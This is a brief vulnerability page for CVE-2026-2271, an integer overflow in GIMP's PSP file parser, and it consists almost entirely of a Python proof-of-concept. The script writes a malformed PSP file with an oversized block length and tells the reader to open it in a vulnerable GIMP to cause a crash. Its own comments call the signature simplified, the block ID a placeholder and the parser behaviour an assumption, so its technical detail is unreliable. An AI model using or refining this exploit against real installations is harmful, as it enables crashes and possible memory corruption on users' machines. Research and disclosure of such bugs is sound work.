CVE-2026-2271 GIMP PSP文件解析器整数溢出漏洞

import struct # PoC for CVE-2026-2271: GIMP PSP Integer Overflow # This script generates a malformed PSP file designed to trigger # an integer overflow in the read_creator_block() function. def create_exploit_file(filename): # PSP file signature (simplified for PoC) signature = b"Paint Shop Pro Image File\n\x0a\x00\x00\x00\x00\x1a" # Malicious block header # We aim to trigger an overflow in memory allocation calculation. # Assuming the parser does: size = length + header_size # If length is 0xFFFFFFFF, and header_size is small, size wraps around. block_id = 0x00 # Placeholder for creator block ID malicious_length = 0xFFFFFFFF # Max 32-bit unsigned int with open(filename, "wb") as f: f.write(signature) # Write Block ID (Little Endian) f.write(struct.pack("<I", block_id)) # Write Malicious Length (Little Endian) f.write(struct.pack("<I", malicious_length)) # Note: Depending on the parser, additional padding might be required # to reach the vulnerable read operation. print(f"[+] Generated malicious file: {filename}") print(f"[+] Open this file in a vulnerable version of GIMP to trigger the crash.") if __name__ == "__main__": create_exploit_file("crash_gimp.psp")